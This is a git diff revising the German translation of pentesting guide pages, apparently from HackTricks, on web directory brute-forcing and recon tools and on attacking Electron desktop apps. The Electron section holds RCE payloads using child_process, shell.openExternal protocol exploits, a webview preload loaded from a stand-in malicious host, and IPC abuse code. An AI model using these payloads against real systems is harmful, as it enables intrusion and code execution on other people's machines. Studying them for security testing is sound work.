+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Schnell, unterstützt rekursive Suche.**
 - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
-- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): Kein Spider, sondern ein Tool, das aus einer Liste gefundener URLs "duplikate" entfernt.
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp Extension, um aus dem Burp-History verschiedene Seiten eine Liste von Directories zu erzeugen.
+- [**ffuf** ](https://github.com/ffuf/ffuf)- Schnell: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
+- [**uro**](https://github.com/s0md3v/uro) (python): Dies ist kein Spider, sondern ein Tool, das aus einer Liste gefundener URLs "duplizierte" URLs entfernt.
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp-Extension, um aus dem Burp-History verschiedener Seiten eine Liste von Verzeichnissen zu erstellen.
 - [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Entfernt URLs mit doppelter Funktionalität (basierend auf JS-Imports).
-- [**Chamaleon**](https://github.com/iustin24/chameleon): Verwendet Wappalyzer, um Technologien zu erkennen und passende Wordlists auszuwählen.
+- [**Chamaleon**](https://github.com/iustin24/chameleon): Nutzt Wappalyzer, um eingesetzte Technologien zu erkennen und passende Wordlists auszuwählen.
 
-Empfohlene Wordlists:
+Empfohlene Dictionaries:
 
 - [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
 - [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
@@ -268,41 +268,41 @@ Empfohlene Wordlists:
 - _/usr/share/wordlists/dirb/big.txt_
 - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
 
-_Beachte, dass jedes Mal, wenn während des brute-forcing oder Spidering ein neues Verzeichnis entdeckt wird, dieses ebenfalls Brute-Forced werden sollte._
+Beachte: Jedes Mal, wenn während des brute-forcing oder Spidering ein neues Verzeichnis entdeckt wird, sollte dieses auch brute-forced werden.
 
-### What to check on each file found
+### Was bei jeder gefundenen Datei zu prüfen ist
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers
-- **File Backups**: Sobald du alle Dateien gefunden hast, suche nach Backups aller ausführbaren Dateien ("_.php_", "_.aspx_" ...). Übliche Varianten sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Du kannst auch die Tools [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) verwenden.
-- **Discover new parameters**: Du kannst Tools wie [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **und** [**Param Miner**](https://github.com/PortSwigger/param-miner) **verwenden, um versteckte Parameter zu entdecken. Wenn möglich, solltest du nach versteckten Parametern in jeder ausführbaren Web-Datei suchen.**
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Findet defekte Links in HTMLs, die für takeovers anfällig sein könnten.
+- **File Backups**: Sobald du alle Dateien gefunden hast, suche nach Backups aller ausführbaren Dateien ("_.php_", "_.aspx_" ...). Gängige Varianten für Backup-Namen sind: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp und file.old._ Du kannst auch die Tools [**bfac**](https://github.com/mazen160/bfac) **oder** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) verwenden.
+- **Discover new parameters**: Du kannst Tools wie [**Arjun**](https://github.com/s0md3v/Arjun), [**parameth**](https://github.com/maK-/parameth), [**x8**](https://github.com/sh1yo/x8) und [**Param Miner**](https://github.com/PortSwigger/param-miner) verwenden, um versteckte Parameter zu entdecken. Falls möglich, solltest du versuchen, auf jeder ausführbaren Webdatei nach versteckten Parametern zu suchen.
 - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
 - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
 - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
 - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
-- **Comments:** Prüfe die Kommentare aller Dateien — dort können **credentials** oder **versteckte Funktionen** zu finden sein.
-- Wenn du an einem **CTF** teilnimmst, ist ein "übliches" Trick, Informationen in Kommentaren am **rechten Rand** der Seite zu **verstecken** (mit **hunderten** von **Spaces**, sodass du die Daten beim Öffnen des Quellcodes im Browser nicht siehst). Eine andere Möglichkeit ist, mehrere Newlines zu verwenden und Informationen in einem Kommentar am **Ende** der Seite zu verstecken.
-- **API keys**: Wenn du einen API key findest, gibt es Guides, die zeigen, wie man API keys verschiedener Plattformen nutzt: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
-- Google API keys: Wenn du einen API key findest, der wie **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik aussieht, kannst du das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu prüfen, auf welche APIs der Key zugreifen kann.
-- **S3 Buckets**: Während des Spidering prüfe, ob eine Subdomain oder ein Link mit einem S3 bucket verbunden ist. In diesem Fall [**check** the **permissions** of the bucket](buckets/index.html).
+- **Comments:** Prüfe die Kommentare aller Dateien — dort können sich **credentials** oder **versteckte Funktionalität** finden lassen.
+- Wenn du ein **CTF** spielst, ist ein gängiger Trick, Informationen in Kommentaren rechts auf der Seite zu verstecken (mit Hunderten von Leerzeichen, sodass du die Daten im Browser-Quelltext nicht direkt siehst). Eine andere Möglichkeit ist, mehrere neue Zeilen zu verwenden und Informationen in einem Kommentar am Seitenende zu verstecken.
+- **API keys**: Wenn du einen API key findest, gibt es Projekte, die zeigen, wie man API keys verschiedener Plattformen verwendet: [**keyhacks**](https://github.com/streaak/keyhacks), [**zile**](https://github.com/xyele/zile.git), [**truffleHog**](https://github.com/trufflesecurity/truffleHog), [**SecretFinder**](https://github.com/m4ll0k/SecretFinder), [**RegHex**](<https://github.com/l4yton/RegHex)/>), [**DumpsterDive**](https://github.com/securing/DumpsterDiver), [**EarlyBird**](https://github.com/americanexpress/earlybird)
+- Google API keys: Wenn du einen API key findest, der mit **AIza** beginnt (z. B. **AIza**SyA-...), kannst du das Projekt [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) verwenden, um zu prüfen, auf welche APIs der Key zugreifen kann.
+- **S3 Buckets**: Während des Spiderings prüfe, ob eine **Subdomain** oder ein **Link** auf einen S3 bucket hindeutet. In diesem Fall [**check** die **permissions** des Buckets](buckets/index.html).
 
-### Special findings
+### Besondere Funde
 
-**Während** des **Spidering** und **brute-forcing** kannst du **interessante** **Dinge** entdecken, auf die du achten musst.
+Während des **Spidering** und **brute-forcing** kannst du auf interessante Dinge stoßen, die du beachten musst.
 
 Interessante Dateien
 
-- Suche nach **links** zu anderen Dateien innerhalb der **CSS**-Dateien.
+- Suche nach **Links** zu anderen Dateien in den **CSS**-Dateien.
 - [If you find a _**.git**_ file some information can be extracted](git.md)
-- Wenn du eine _**.env**_ findest, können dort Informationen wie API keys, DB-Passwörter und andere sensible Daten enthalten sein.
-- Wenn du **API endpoints** findest, [should also test them](web-api-pentesting.md). Dies sind keine Dateien, werden aber wahrscheinlich so aussehen.
-- **JS files**: In der Spidering-Sektion wurden mehrere Tools erwähnt, die Pfade aus JS files extrahieren können. Es ist außerdem sinnvoll, **jede gefundene JS-Datei zu überwachen**, da eine Änderung darauf hinweisen kann, dass eine potenziell verwundbare Funktionalität in den Code eingeführt wurde. Du könntest z. B. [**JSMon**](https://github.com/robre/jsmon) verwenden.
-- Du solltest entdeckte JS files außerdem mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) prüfen, um zu sehen, ob sie verwundbar sind.
+- Wenn du eine _**.env**_ findest, können dort API-Keys, DB-Passwörter und andere Informationen zu finden sein.
+- Wenn du **API endpoints** findest, solltest du diese auch [testen](web-api-pentesting.md). Diese sind zwar keine Dateien, sehen aber oft wie solche aus.
+- **JS files**: In der Spidering-Sektion wurden mehrere Tools erwähnt, die Pfade aus JS-Dateien extrahieren können. Es ist außerdem sinnvoll, jede gefundene JS-Datei zu **monitoren**, da eine Änderung manchmal darauf hindeuten kann, dass eine potenzielle Schwachstelle in den Code eingeführt wurde. Du könntest zum Beispiel [**JSMon**](https://github.com/robre/jsmon) verwenden.
+- Du solltest gefundene JS-Dateien auch mit [**RetireJS**](https://github.com/retirejs/retire.js/) oder [**JSHole**](https://github.com/callforpapers-source/jshole) prüfen, um zu sehen, ob sie verwundbar sind.
 - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
 - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
-- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
+- **JsFuck deobfuscation** (javascript mit Zeichen:"\[]!+") [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)
 - **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
-- In vielen Fällen musst du die verwendeten Regular Expressions verstehen. Das ist hilfreich: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
-- Du könntest außerdem die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung der Parameter oder das Auftauchen eines neuen Formulars auf eine potenziell neue verwundbare Funktionalität hinweisen kann.
+- Häufig musst du die verwendeten Regular Expressions verstehen. Das ist nützlich: [https://regex101.com/](https://regex101.com) oder [https://pythonium.net/regex](https://pythonium.net/regex)
+- Du könntest außerdem die Dateien überwachen, in denen Formulare erkannt wurden, da eine Änderung der Parameter oder das Auftauchen eines neuen Formulars auf eine mögliche neue, verwundbare Funktionalität hinweisen kann.
 
 **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
 
@@ -313,36 +313,36 @@ Interessante Dateien
 
 **502 Proxy Error**
 
-Wenn eine Seite mit diesem Code antwortet, ist wahrscheinlich ein schlecht konfigurierter Proxy die Ursache. **Wenn du eine HTTP-Anfrage wie:** `GET https://google.com HTTP/1.1` (mit dem Host-Header und anderen üblichen Headern) **sendest**, wird der **Proxy** versuchen, auf _**google.com**_ zuzugreifen — und du hättest damit eine SSRF gefunden.
+Wenn eine Seite mit diesem Code antwortet, ist wahrscheinlich ein Proxy falsch konfiguriert. **Wenn du eine HTTP-Anfrage wie:** `GET https://google.com HTTP/1.1` (mit dem Host-Header und anderen üblichen Headern) **sendest**, versucht der **Proxy**, _**google.com**_ aufzurufen — damit hättest du ein SSRF gefunden.
 
 **NTLM Authentication - Info disclosure**
 
-Wenn der Server, der die Authentifizierung anfordert, **Windows** ist oder du eine Login-Seite findest, die nach deinen **Zugangsdaten** (und dem **Domain**-Namen) fragt, kannst du eine **Informationsfreigabe** provozieren.\
-Sende den Header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise von **NTLM authentication** wird der Server interne Infos (IIS-Version, Windows-Version ...) im Header "WWW-Authenticate" zurückgeben.\
+Wenn der abfragende Server auf Authentifizierung besteht und Windows läuft oder du ein Login findest, das nach deinen **credentials** (und dem **domain**-Namen) fragt, kannst du eine Informationsoffenlegung provozieren.\
+Sende den Header: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` und aufgrund der Funktionsweise der **NTLM authentication** wird der Server interne Infos (IIS-Version, Windows-Version...) im Header "WWW-Authenticate" zurückgeben.\
 Du kannst das mit dem **nmap plugin** "_http-ntlm-info.nse_" automatisieren.
 
 **HTTP Redirect (CTF)**
 
-Es ist möglich, **Content** innerhalb einer **Redirection** unterzubringen. Dieser Content wird dem Benutzer nicht angezeigt (da der Browser die Umleitung ausführt), aber etwas könnte dort **versteckt** sein.
+Es ist möglich, Inhalte in eine **Redirection** zu setzen. Diese Inhalte werden dem Benutzer nicht angezeigt (der Browser führt die Weiterleitung aus), aber dort könnten Informationen versteckt sein.
 
 ### Web Vulnerabilities Checking
 
-Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here:
+Nachdem eine umfassende Enumeration der Webanwendung durchgeführt wurde, ist es Zeit, viele mögliche Schwachstellen zu prüfen. Die Checkliste findest du hier:
 
 
 {{#ref}}
 ../../pentesting-web/web-vulnerabilities-methodology.md
 {{#endref}}
 
-Find more info about web vulns in:
+Mehr Infos zu Web-Vulnerabilities:
 
 - [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
 - [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
 - [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
 
-### Monitor Pages for changes
+### Seiten auf Änderungen überwachen
 
-Du kannst Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Änderungen zu überwachen, die möglicherweise Schwachstellen einführen.
+Du kannst Tools wie [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) verwenden, um Seiten auf Modifikationen zu überwachen, die Schwachstellen einführen könnten.
 
 ### HackTricks Automatic Commands
 ```

src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md

@@ -1,17 +1,17 @@
-# Electron Desktop-Apps
+# Electron Desktop Apps
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Einführung
 
-Electron kombiniert ein lokales Backend (mit **NodeJS**) und ein Frontend (**Chromium**), obwohl es einige der Sicherheitsmechanismen moderner Browser nicht besitzt.
+Electron kombiniert ein lokales Backend (mit **NodeJS**) und ein Frontend (**Chromium**), obwohl es einige Sicherheitsmechanismen moderner Browser nicht bietet.
 
-In der Regel findet man den Electron-App-Code innerhalb einer `.asar`-Anwendung; um den Code zu erhalten, muss man ihn extrahieren:
+In der Regel findet man den Code einer Electron-App innerhalb einer `.asar`-Anwendung; um den Code zu erhalten, muss man diese extrahieren:
 ```bash
 npx asar extract app.asar destfolder #Extract everything
 npx asar extract-file app.asar main.js #Extract just a file
 ```
-Im Quellcode einer Electron-App findet man in der Datei `packet.json` die Angabe der Datei `main.js`, in der Sicherheitskonfigurationen gesetzt sind.
+Im Quellcode einer Electron-App finden Sie in der Datei `packet.json` die Angabe der `main.js`, in der security configs gesetzt sind.
 ```json
 {
 "name": "standard-notes",
@@ -19,12 +19,12 @@ Im Quellcode einer Electron-App findet man in der Datei `packet.json` die Angabe
 ```
 Electron hat 2 Prozessarten:
 
-- Main Process (hat vollen Zugriff auf NodeJS)
+- Main Process (hat vollständigen Zugriff auf NodeJS)
 - Renderer Process (sollte aus Sicherheitsgründen eingeschränkten Zugriff auf NodeJS haben)
 
 ![](<../../../images/image (182).png>)
 
-Ein **renderer process** wird ein Browserfenster sein, das eine Datei lädt:
+Ein **renderer process** ist ein Browserfenster, das eine Datei lädt:
 ```javascript
 const { BrowserWindow } = require("electron")
 let win = new BrowserWindow()
@@ -32,20 +32,20 @@ let win = new BrowserWindow()
 //Open Renderer Process
 win.loadURL(`file://path/to/index.html`)
 ```
-Die Einstellungen des **renderer process** können im **main process** innerhalb der main.js Datei **konfiguriert** werden. Einige dieser Konfigurationen verhindern, dass die Electron-Anwendung RCE oder andere Schwachstellen erhält, wenn die **Einstellungen korrekt konfiguriert** sind.
+Einstellungen des **renderer process** können im **main process** innerhalb der main.js-Datei **konfiguriert** werden. Einige der Konfigurationen können verhindern, dass die Electron-Anwendung RCE oder andere Verwundbarkeiten erhält, wenn die **Einstellungen korrekt konfiguriert** sind.
 
-Die Electron-Anwendung **könnte über Node apis auf das Gerät zugreifen**, obwohl sie so konfiguriert werden kann, dass dies verhindert wird:
+Die Electron-Anwendung **kann auf das Gerät zugreifen** via Node apis, obwohl sie so konfiguriert werden kann, dass dies verhindert wird:
 
-- **`nodeIntegration`** - ist `off` by default. If on, allows to access node features from the renderer process.
-- **`contextIsolation`** - ist `on` by default. If off, main and renderer processes aren't isolated.
+- **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
+- **`contextIsolation`** - is `on` by default. If off, main and renderer processes aren't isolated.
 - **`preload`** - empty by default.
-- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - ist `off` by default. It will restrict the actions NodeJS can perform.
+- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - is off by default. It will restrict the actions NodeJS can perform.
 - Node Integration in Workers
-- **`nodeIntegrationInSubframes`**- ist `off` by default.
+- **`nodeIntegrationInSubframes`**- is `off` by default.
 - If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
 - If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
 
-Beispiel für eine Konfiguration:
+Example of configuration:
 ```javascript
 const mainWindowOptions = {
 title: "Discord",
@@ -71,7 +71,7 @@ spellcheck: true,
 },
 }
 ```
-Einige **RCE payloads** aus [here](https://7as.es/electron/nodeIntegration_rce.txt):
+Einige **RCE payloads** von [here](https://7as.es/electron/nodeIntegration_rce.txt):
 ```html
 Example Payloads (Windows):
 <img
@@ -97,13 +97,13 @@ onerror="alert(require('child_process').execSync('uname -a').toString());" />
 ```
 ### Netzwerkverkehr erfassen
 
-Passe die start-main-Konfiguration an und nutze einen Proxy, z. B.:
+Ändere die start-main-Konfiguration und füge die Verwendung eines Proxys wie folgt hinzu:
 ```javascript
 "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
 ```
 ## Electron Local Code Injection
 
-Wenn du eine Electron App lokal ausführen kannst, ist es möglich, dass du sie dazu bringen kannst, beliebigen javascript-Code auszuführen. Sieh nach, wie in:
+Wenn Sie eine Electron App lokal ausführen können, ist es möglich, dass Sie sie dazu bringen können, beliebigen javascript-Code auszuführen. Siehe dazu:
 
 
 {{#ref}}
@@ -112,7 +112,7 @@ Wenn du eine Electron App lokal ausführen kannst, ist es möglich, dass du sie
 
 ## RCE: XSS + nodeIntegration
 
-Wenn die **nodeIntegration** auf **on** gesetzt ist, kann das JavaScript einer Webseite Node.js-Funktionen einfach durch Aufrufen von `require()` nutzen. Zum Beispiel ist der Weg, die calc-Anwendung unter Windows auszuführen, folgender:
+Wenn die **nodeIntegration** auf **on** gesetzt ist, kann das JavaScript einer Webseite Node.js-Funktionen ganz einfach durch den Aufruf von `require()` verwenden. Zum Beispiel wird die calc-Anwendung unter Windows wie folgt ausgeführt:
 ```html
 <script>
 require("child_process").exec("calc")
@@ -124,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
 
 ## RCE: preload
 
-Das in dieser Einstellung angegebene Script wird **vor anderen Skripten im renderer geladen**, daher hat es **unbegrenzten Zugriff auf Node APIs**:
+Das in dieser Einstellung angegebene Skript wird **vor anderen Skripten im renderer geladen**, daher hat es **unbegrenzten Zugriff auf Node APIs**:
 ```javascript
 new BrowserWindow{
 webPreferences: {
@@ -153,16 +153,16 @@ runCalc()
 
 ## RCE: XSS + contextIsolation
 
-Die _**contextIsolation**_ führt die **getrennten Kontexte zwischen den Skripten der Webseite und dem internen JavaScript-Code von Electron** ein, sodass die Ausführung von JavaScript-Code der jeweiligen Seite die andere nicht beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE auszuschließen.
+Die _**contextIsolation**_ führt getrennte Kontexte zwischen den Skripten der Webseite und dem internen JavaScript-Code von Electron ein, sodass die JavaScript-Ausführung des einen Codes den anderen nicht beeinflusst. Dies ist eine notwendige Funktion, um die Möglichkeit von RCE auszuschließen.
 
 Wenn die Kontexte nicht isoliert sind, kann ein Angreifer:
 
-1. Im renderer beliebiges JavaScript ausführen (XSS oder Navigation zu externen Seiten)
-2. **Die eingebaute Methode überschreiben**, die im preload- oder im Electron-internen Code verwendet wird, um Kontrolle zu übernehmen
-3. **Die Verwendung der überschriebenen Funktion auslösen**
+1. Führe **beliebiges JavaScript im renderer** aus (XSS oder Navigation zu externen Seiten)
+2. **Überschreibe die eingebaute Methode**, die im preload- oder im internen Electron-Code verwendet wird, um Kontrolle zu erlangen
+3. **Veranlasse** die Ausführung der **überschriebenen Funktion**
 4. RCE?
 
-Es gibt 2 Stellen, an denen eingebaute Methoden überschrieben werden können: im preload-Code oder im Electron-internen Code:
+Es gibt 2 Stellen, an denen eingebaute Methoden überschrieben werden können: Im preload-Code oder im internen Electron-Code:
 
 
 {{#ref}}
@@ -179,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
 electron-contextisolation-rce-via-ipc.md
 {{#endref}}
 
-### Bypass click event
+### Klick-Ereignis umgehen
 
-Wenn beim Klicken auf einen Link Einschränkungen gelten, kannst du sie möglicherweise umgehen, indem du **einen Mittelklick** statt eines normalen Linksklicks ausführst.
+Wenn beim Klicken eines Links Einschränkungen gelten, kannst du diese möglicherweise umgehen, indem du **einen Mittelklick** statt eines normalen Linksklicks verwendest.
 ```javascript
 window.addEventListener('click', (e) => {
 ```
 ## RCE via shell.openExternal
 
-Für mehr Informationen zu diesen Beispielen siehe [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) und [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
+Für weitere Informationen zu diesen Beispielen siehe [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) und [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
 
-Beim Bereitstellen einer Electron-Desktop-Anwendung ist es entscheidend, die richtigen Einstellungen für `nodeIntegration` und `contextIsolation` sicherzustellen. Es ist etabliert, dass **client-side remote code execution (RCE)**, die auf Preload-Skripte oder Electrons nativen Code aus dem Hauptprozess abzielt, mit diesen Einstellungen effektiv verhindert wird.
+Beim Bereitstellen einer Electron-Desktop-Anwendung ist es entscheidend, die richtigen Einstellungen für `nodeIntegration` und `contextIsolation` vorzunehmen. Es ist etabliert, dass **client-side remote code execution (RCE)**, die auf preload scripts oder Electron's native code vom main process abzielt, mit diesen Einstellungen effektiv verhindert wird.
 
 Wenn ein Benutzer mit Links interagiert oder neue Fenster öffnet, werden bestimmte Event-Listener ausgelöst, die für die Sicherheit und Funktionalität der Anwendung entscheidend sind:
 ```javascript
 webContents.on("new-window", function (event, url, disposition, options) {}
 webContents.on("will-navigate", function (event, url) {}
 ```
-Diese Listener werden **von der Desktop-Anwendung überschrieben**, um ihre eigene **Geschäftslogik** zu implementieren. Die Anwendung entscheidet, ob ein angeklickter Link intern geöffnet werden soll oder im externen Webbrowser. Diese Entscheidung wird typischerweise durch eine Funktion, `openInternally`, getroffen. Wenn diese Funktion `false` zurückgibt, bedeutet das, dass der Link extern geöffnet werden soll und dazu `shell.openExternal` verwendet wird.
+Diese Listener werden **von der Desktop-Anwendung überschrieben**, um ihre eigene **Geschäftslogik** zu implementieren. Die Anwendung bewertet, ob ein aufgerufener Link intern oder in einem externen Webbrowser geöffnet werden soll. Diese Entscheidung wird typischerweise durch eine Funktion, `openInternally`, getroffen. Gibt diese Funktion `false` zurück, zeigt das an, dass der Link extern geöffnet werden soll, wobei die Funktion `shell.openExternal` verwendet wird.
 
-**Hier ein vereinfachter Pseudocode:**
+**Here is a simplified pseudocode:**
 
 ![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
 
 ![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
 
-Die Sicherheits-Best-Practices für Electron JS raten davon ab, nicht vertrauenswürdige Inhalte mit der `openExternal`-Funktion zu akzeptieren, da dies zu RCE über verschiedene Protokolle führen kann. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen könnten. Für detaillierte Beispiele und weitere Erläuterungen zu diesem Thema kann auf [diese Ressource](https://positive.security/blog/url-open-rce#windows-10-19042) verwiesen werden, die Windows-Protokoll-Beispiele enthält, die diese Verwundbarkeit ausnutzen können.
+Electron JS Sicherheits-Best-Practices raten davon ab, nicht vertrauenswürdige Inhalte mit der Funktion `openExternal` zu akzeptieren, da dies zu RCE über verschiedene Protokolle führen kann. Betriebssysteme unterstützen unterschiedliche Protokolle, die RCE auslösen könnten. Für ausführliche Beispiele und weiterführende Erklärungen zu diesem Thema kann auf [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) verwiesen werden; sie enthält Windows-Protokoll-Beispiele, mit denen diese Schwachstelle ausgenutzt werden kann.
 
-Unter macOS kann die `openExternal`-Funktion ausgenutzt werden, um beliebige Befehle auszuführen, z. B. `shell.openExternal('file:///System/Applications/Calculator.app')`.
+In macos kann die Funktion `openExternal` ausgenutzt werden, um beliebige Befehle auszuführen, z. B. `shell.openExternal('file:///System/Applications/Calculator.app')`.
 
-**Beispiele für Windows-Protokoll-Exploits umfassen:**
+**Examples of Windows protocol exploits include:**
 ```html
 <script>
 window.open(
@@ -228,17 +228,17 @@ window.open(
 )
 </script>
 ```
-## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
+## RCE: webviewTag + anfällige preload-IPC + shell.openExternal
 
-Diese Schwachstelle ist in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** zu finden.
+Diese Schwachstelle findet sich in **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
 
-Der **webviewTag** ist eine **veraltete Funktion**, die die Verwendung von **NodeJS** im **renderer process** erlaubt, weshalb sie deaktiviert werden sollte, da sie es ermöglicht, ein Skript im preload context zu laden, wie:
+Die **webviewTag** ist eine **veraltete Funktion**, die die Nutzung von **NodeJS** im **renderer process** erlaubt. Sie sollte deaktiviert werden, da sie das Laden eines Skripts im preload context ermöglicht, wie:
 ```xml
 <webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
 ```
-Daher konnte ein Angreifer, der es schafft, eine beliebige Seite zu laden, dieses Tag nutzen, um **ein beliebiges preload script zu laden**.
+Daher konnte ein Angreifer, der es schafft, eine beliebige Seite zu laden, dieses Tag verwenden, um ein beliebiges **preload script** zu laden.
 
-Dieses preload script wurde dann missbraucht, um einen **vulnerablen IPC-Service (`skype-new-window`)** aufzurufen, der **`shell.openExternal`** aufrief, um RCE zu erlangen:
+Dieses **preload script** wurde dann missbraucht, um einen **verwundbaren IPC-Dienst (`skype-new-window`)** aufzurufen, der **`shell.openExternal`** aufrief, um RCE zu erlangen:
 ```javascript
 (async() => {
 const { ipcRenderer } = require("electron");
@@ -249,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
 }, 5000);
 })();
 ```
-## Lesen interner Dateien: XSS + contextIsolation
+## Interne Dateien lesen: XSS + contextIsolation
 
-**Durch Deaktivierung von `contextIsolation` wird die Verwendung von `<webview>`-Tags ermöglicht**, ähnlich wie bei `<iframe>`, um lokale Dateien zu lesen und zur Exfiltration lokaler Dateien. Ein Beispiel zeigt, wie diese Schwachstelle ausgenutzt werden kann, um den Inhalt interner Dateien zu lesen:
+**Das Deaktivieren von `contextIsolation` ermöglicht die Verwendung von `<webview>`-Tags**, ähnlich wie `<iframe>`, um lokale Dateien zu lesen und zu exfiltrieren. Ein Beispiel zeigt, wie diese Schwachstelle ausgenutzt werden kann, um den Inhalt interner Dateien zu lesen:
 
 ![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
 
-Weiterhin wird eine weitere Methode zum **Lesen einer internen Datei** vorgestellt, die eine kritische lokale Datei-Lese-Schwachstelle in einer Electron desktop app hervorhebt. Dabei wird ein Script injiziert, um die Anwendung auszunutzen und eine Exfiltration der Daten durchzuführen:
